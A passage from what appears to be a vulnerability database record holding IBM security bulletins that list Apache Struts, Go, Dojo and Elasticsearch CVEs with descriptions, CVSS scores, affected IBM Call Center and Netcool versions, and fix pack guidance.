token handling mechanism. By persuading an authenticated user to visit a malicious Web site, a remote attacker could send a malformed HTTP request to perform unauthorized actions. An attacker could exploit this vulnerability to perform cross-site scripting attacks, Web cache poisoning, and other malicious activities. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/78182](<https://exchange.xforce.ibmcloud.com/vulnerabilities/78182>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2016-4003](<https://vulners.com/cve/CVE-2016-4003>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the URLDecoder implementation. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/111514](<https://exchange.xforce.ibmcloud.com/vulnerabilities/111514>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2016-3093](<https://vulners.com/cve/CVE-2016-3093>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by the improper implementation of cache used to store method references by the OGNL expression language. An attacker could exploit this vulnerability to block access to a Web site. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/113686](<https://exchange.xforce.ibmcloud.com/vulnerabilities/113686>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2013-4310](<https://vulners.com/cve/CVE-2013-4310>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by an error in the action: parameter prefix. An attacker could exploit this vulnerability to gain unauthorized access to the system. \nCVSS Base score: 5.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/87336](<https://exchange.xforce.ibmcloud.com/vulnerabilities/87336>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:N) \n \n** CVEID: **[CVE-2014-0116](<https://vulners.com/cve/CVE-2014-0116>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by the failure to properly restrict access to the getClass() method by the CookieInterceptor class. An attacker could exploit this vulnerability to manipulate the ClassLoader used by the application server. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/93024](<https://exchange.xforce.ibmcloud.com/vulnerabilities/93024>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2010-1870](<https://vulners.com/cve/CVE-2010-1870>) \n** DESCRIPTION: **XWork, as used in Apache Struts, FishEye and Crucible, could allow a remote attacker to bypass security restrictions, caused by an error in the ParameterInterceptor class. An attacker could exploit this vulnerability using specially-crafted OGNL (Object-Graph Navigation Language) expressions to modify server-side objects and possibly execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/60371](<https://exchange.xforce.ibmcloud.com/vulnerabilities/60371>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2016-3082](<https://vulners.com/cve/CVE-2016-3082>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by the use of XSLTResult to parse arbitrary stylesheet. An attacker could exploit this vulnerability to inject and execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/112527](<https://exchange.xforce.ibmcloud.com/vulnerabilities/112527>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4436](<https://vulners.com/cve/CVE-2016-4436>) \n** DESCRIPTION: **An unspecified error Apache Struts related to the method used to clean up action name has an unknown impact and attack vector. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/114183](<https://exchange.xforce.ibmcloud.com/vulnerabilities/114183>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2013-2251](<https://vulners.com/cve/CVE-2013-2251>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary commands on the system, caused by an error when evaluating the action:, redirect:, and redirectAction: parameters as OGNL (Object-Graph Navigation Language) expressions. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to inject and execute arbitrary commands on the system. Note: This vulnerability affects other products. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/85756](<https://exchange.xforce.ibmcloud.com/vulnerabilities/85756>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2017-12611](<https://vulners.com/cve/CVE-2017-12611>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by the use of an unintentional expression in Freemarker tag instead of string literals. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131603](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131603>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2015-5209](<https://vulners.com/cve/CVE-2015-5209>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to gain unauthorized access to the system. An attacker could exploit this vulnerability using a special top-level object to manipulate internal settings and modify another user session. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/106695](<https://exchange.xforce.ibmcloud.com/vulnerabilities/106695>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) \n \n** CVEID: **[CVE-2013-2115](<https://vulners.com/cve/CVE-2013-2115>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by an incomplete fix for an error related to the handling of the includeParams attribute. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to modify server-side objects and inject and execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/84543](<https://exchange.xforce.ibmcloud.com/vulnerabilities/84543>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2013-1966](<https://vulners.com/cve/CVE-2013-1966>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restriction, caused by the improper handling of the includeParams attribute. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to inject OGNL code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/84542](<https://exchange.xforce.ibmcloud.com/vulnerabilities/84542>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2013-2248](<https://vulners.com/cve/CVE-2013-2248>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to conduct phishing attacks, caused by an open redirect vulnerability in the DefaultActionMapper class. An attacker could exploit this vulnerability using the redirect: and redirectAction:: parameters in a specially-crafted URL to redirect a victim to arbitrary Web sites. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/85755](<https://exchange.xforce.ibmcloud.com/vulnerabilities/85755>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2015-2992](<https://vulners.com/cve/CVE-2015-2992>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input when directly accessing JSP files. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/106172](<https://exchange.xforce.ibmcloud.com/vulnerabilities/106172>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2015-5169](<https://vulners.com/cve/CVE-2015-5169>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input when debug mode is enabled. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/105879](<https://exchange.xforce.ibmcloud.com/vulnerabilities/105879>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Call Center for Commerce| 9.5.0 \nIBM Call Center for Commerce| 10.0 \n \n## Remediation/Fixes\n\nIBM strongly recommends addressing the vulnerability now by upgrading to the latest fixpack that has the upgraded version of Apache Struts. Please note the fixpack only applies to IBM Call Center version 10 and if you are running IBM Call Center version 9.5 a product upgrade must be completed first. IBM Call Center version 9.5 reached end of support April 30, 2022.\n\nCall Center installing Fix Pack 12 - <https://www.ibm.com/docs/en/call-center/10.0?topic=center-installing-fix-packs>\n\nFix Pack 12 download location - [https://www.ibm.com/support/fixcentral/swg/selectFixes?fixids=10.0.0.0-Sterling-ISCCS-All-fp12-Installer&product=ibm%2FOther%20software%2FIBM%20Call%20Center%20for%20Commerce&source=dbluesearch&mhsrc=ibmsearch_a&mhq=10.0.0.0-Sterling&function=fixId&parent=ibm/Other%20software](<https://www.ibm.com/support/fixcentral/swg/selectFixes?fixids=10.0.0.0-Sterling-ISCCS-All-fp12-Installer&product=ibm%2FOther%20software%2FIBM%20Call%20Center%20for%20Commerce&source=dbluesearch&mhsrc=ibmsearch_a&mhq=10.0.0.0-Sterling&function=fixId&parent=ibm/Other%20software>)\n\nIBM Call Center release notes - <https://www.ibm.com/docs/en/call-center/10.0?topic=center-fixes-by-fix-pack-version#fp12>\n\nCreating & Extending Struts - <https://www.ibm.com/docs/en/order-management-sw/10.0?topic=cesf-creating-extending-struts-xml-file-in-web-ui-framework>\n\n## Workarounds and Mitigations\n\nBM strongly recommends addressing the vulnerability now by upgrading to the latest fixpack that has the upgraded version of Apache Struts. Please note the fixpack only applies to IBM Call Center version 10 and if you are running IBM Call Center version 9.5 a product upgrade must be completed first. IBM Call Center version 9.5 reached end of support April 30, 2022.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-14T17:37:56", "type": "ibm", "title": "Security Bulletin: IBM Call Center and Apache Struts Struts upgrade strategy (various CVEs, see below)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1870", "CVE-2011-1772", "CVE-2011-5057", "CVE-2012-0391", "CVE-2012-0392", "CVE-2012-0393", "CVE-2012-0838", "CVE-2012-1006", "CVE-2012-4386", "CVE-2012-4387", "CVE-2013-1965", "CVE-2013-1966", "CVE-2013-2115", "CVE-2013-2134", "CVE-2013-2135", "CVE-2013-2248", "CVE-2013-2251", "CVE-2013-4310", "CVE-2013-4316", "CVE-2014-0094", "CVE-2014-0112", "CVE-2014-0113", "CVE-2014-0116", "CVE-2014-7809", "CVE-2015-2992", "CVE-2015-5169", "CVE-2015-5209", "CVE-2016-3081", "CVE-2016-3082", "CVE-2016-3093", "CVE-2016-4003", "CVE-2016-4436", "CVE-2017-12611", "CVE-2019-0230", "CVE-2019-0233", "CVE-2020-17530"], "modified": "2022-09-14T17:37:56", "id": "43ABDDEF8A51FB28FC8C4825BAD26A0A25F5F21805BFC87561A0AEABFD065F37", "href": "https://www.ibm.com/support/pages/node/6620351", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-07T18:39:51", "description": "## Summary\n\nNetcool Operations Insight v1.6.6 contains fixes for multiple security vulnerabilities, listed in the CVEs below.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-23450](<https://vulners.com/cve/CVE-2021-23450>) \n** DESCRIPTION: **Dojo could allow a remote attacker to execute arbitrary code on the system, caused by a prototype pollution in the setObject function. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/216463](<https://exchange.xforce.ibmcloud.com/vulnerabilities/216463>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-22144](<https://vulners.com/cve/CVE-2021-22144>) \n** DESCRIPTION: **Elasticsearch is vulnerable to a denial of service, caused by an uncontrolled recursion vulnerability in the Elasticsearch Grok parser. By creating a specially crafted Grok query, a remote authenticated attacker could exploit this vulnerability to cause a denial of service. \nCVSS Base score: 5.7 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206321](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206321>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-31805](<https://vulners.com/cve/CVE-2021-31805>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a double evaluation of tag attributes. By forcing OGNL evaluation of specially-crafted data using the %{...} syntax, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/223990](<https://exchange.xforce.ibmcloud.com/vulnerabilities/223990>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-14039](<https://vulners.com/cve/CVE-2020-14039>) \n** DESCRIPTION: **Go could allow a remote attacker to bypass security restrictions, caused by improper validation on the VerifyOptions.KeyUsages EKU requirements during the X.509 certificate verification. An attacker could exploit this vulnerability to gain access to the system. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/185443](<https://exchange.xforce.ibmcloud.com/vulnerabilities/185443>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2020-15586](<https://vulners.com/cve/CVE-2020-15586>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by a data race in some net/http servers. By sending specially-crafted HTTP requests, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/185446](<https://exchange.xforce.ibmcloud.com/vulnerabilities/185446>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-16845](<https://vulners.com/cve/CVE-2020-16845>) \n** DESCRIPTION: **Go Language is vulnerable to a denial of service, caused by an infinite read loop in ReadUvarint and ReadVarint in encoding/binary. By sending a specially-crafted input, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186375](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186375>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-24553](<https://vulners.com/cve/CVE-2020-24553>) \n** DESCRIPTION: **Golang Go is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the CGI/FCGI handlers. A remote attacker could exploit this vulnerability to inject malicious script into a Web page which would be executed in a victim's Web browser within the security context of the hosting Web site, once the page is viewed. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 7.2 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/187776](<https://exchange.xforce.ibmcloud.com/vulnerabilities/187776>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2020-28362](<https://vulners.com/cve/CVE-2020-28362>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by improper input validation by the math/big.Int methods. By sending a specially-crafted inputs, a remote attacker could exploit this vulnerability to cause the application to crash. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/191976](<https://exchange.xforce.ibmcloud.com/vulnerabilities/191976>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2020-28366](<https://vulners.com/cve/CVE-2020-28366>) \n** DESCRIPTION: **Golang Go could allow a remote attacker to execute arbitrary code on the system, caused by a code injection flaw in go command when cgo is in use in build time. By using a specially-crafted package, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/191978](<https://exchange.xforce.ibmcloud.com/vulnerabilities/191978>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-28367](<https://vulners.com/cve/CVE-2020-28367>) \n** DESCRIPTION: **Golang Go could allow a remote attacker to execute arbitrary code on the system, caused by a argument injection flaw in go command when cgo is in use in build time. By using a specially-crafted package, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/191979](<https://exchange.xforce.ibmcloud.com/vulnerabilities/191979>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2020-7919](<https://vulners.com/cve/CVE-2020-7919>) \n** DESCRIPTION: **Go is vulnerable to a denial of service. By sending a malformed X.509 certificate, a remote attacker could exploit this vulnerability to cause a system panic. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/178227](<https://exchange.xforce.ibmcloud.com/vulnerabilities/178227>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-27918](<https://vulners.com/cve/CVE-2021-27918>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by an infinite loop flaw when using xml.NewTokenDecoder with a custom TokenReader. By persuading a victim to open a specially-crafted XML content, a remote attacker could exploit this vulnerability to cause a denial of service condition. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/198075](<https://exchange.xforce.ibmcloud.com/vulnerabilities/198075>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-29923](<https://vulners.com/cve/CVE-2021-29923>) \n** DESCRIPTION: **Golang Go could allow a remote attacker to bypass security restrictions, caused by improper consideration for extraneous zero characters at the beginning of an IP address octet. By sending a specially-crafted request, an attacker could exploit this vulnerability to bypass access control based on IP addresses. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/207025](<https://exchange.xforce.ibmcloud.com/vulnerabilities/207025>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2021-3114](<https://vulners.com/cve/CVE-2021-3114>) \n** DESCRIPTION: **An unspecified error with the P224() Curve implementation can generate incorrect outputs in Golang Go has an unknown impact and attack vector. \nCVSS Base score: 4 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/195677](<https://exchange.xforce.ibmcloud.com/vulnerabilities/195677>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2021-31525](<https://vulners.com/cve/CVE-2021-31525>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by a flaw in net/http. By sending a specially-crafted header to ReadRequest or ReadResponse. Server, Transport, and Client, a remote attacker could exploit this vulnerability to cause a (panic) denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/202709](<https://exchange.xforce.ibmcloud.com/vulnerabilities/202709>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-33195](<https://vulners.com/cve/CVE-2021-33195>) \n** DESCRIPTION: **Golang Go could allow a remote attacker to execute arbitrary code on the system, caused by not following RFC 1035 rules in the LookupCNAME, LookupSRV, LookupMX, LookupNS, and LookupAddr functions in net. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206601](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206601>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2021-33196](<https://vulners.com/cve/CVE-2021-33196>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by a flaw in the NewReader and OpenReader functions in archive/zip. By persuading a victim to open a specially-crafted archive file, a remote attacker could exploit this vulnerability to cause a panic or an unrecoverable fatal error, and results in a denial of service condition. \nCVSS Base score: 5.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206602](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206602>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-33197](<https://vulners.com/cve/CVE-2021-33197>) \n** DESCRIPTION: **Golang Go could allow a remote attacker to bypass security restrictions, caused by a flaw in the ReverseProxy in net/http/httputil. By sending a specially-crafted request, an attacker could exploit this vulnerability to drop arbitrary headers, including those set by the ReverseProxy.Director. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206603](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206603>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) \n \n** CVEID: **[CVE-2021-33198](<https://vulners.com/cve/CVE-2021-33198>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by a flaw in the SetString and UnmarshalText methods of math/big.Rat. By sending a specially-crafted input, a remote attacker could exploit this vulnerability to cause a panic or an unrecoverable fatal error, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/206604](<https://exchange.xforce.ibmcloud.com/vulnerabilities/206604>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-36221](<https://vulners.com/cve/CVE-2021-36221>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by a race condition upon an ErrAbortHandler abort. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to cause a net/http/httputil ReverseProxy panic. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/207036](<https://exchange.xforce.ibmcloud.com/vulnerabilities/207036>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-38297](<https://vulners.com/cve/CVE-2021-38297>) \n** DESCRIPTION: **Golang Go is vulnerable to a buffer overflow, caused by improper bounds checking when invoking functions from WASM modules. By passing very large arguments, a remote attacker could overflow a buffer and execute arbitrary code on the system. \nCVSS Base score: 9.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/211507](<https://exchange.xforce.ibmcloud.com/vulnerabilities/211507>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2021-39293](<https://vulners.com/cve/CVE-2021-39293>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by a flaw in the NewReader and OpenReader functions in archive/zip. By sending a specially-crafted archive header, a remote attacker could exploit this vulnerability to cause a panic, which results in a denial of service. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/220196](<https://exchange.xforce.ibmcloud.com/vulnerabilities/220196>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-41771](<https://vulners.com/cve/CVE-2021-41771>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by an out-of-bounds slice situation in the ImportedSymbols function in debug/macho. By using specially-crafted binaries, a remote attacker could exploit this vulnerability to cause a panic, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213016](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213016>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-41772](<https://vulners.com/cve/CVE-2021-41772>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by an out-of-bounds slice situation in the Reader.Open function. By using a specially-crafted ZIP archive containing an invalid name or an empty filename field, a remote attacker could exploit this vulnerability to cause a panic, and results in a denial of service condition. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/213019](<https://exchange.xforce.ibmcloud.com/vulnerabilities/213019>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-44716](<https://vulners.com/cve/CVE-2021-44716>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by an uncontrolled memory consumption in the header canonicalization cache in net/http. By sending HTTP/2 requests, a remote attacker could exploit this vulnerability to consume all available memory resources. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/216553](<https://exchange.xforce.ibmcloud.com/vulnerabilities/216553>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2022-23772](<https://vulners.com/cve/CVE-2022-23772>) \n** DESCRIPTION: **Golang Go is vulnerable to a denial of service, caused by a buffer overflow in the Rat.SetString function in math/big. By sending a specially-crafted request, an attacker could exploit this vulnerability to consume 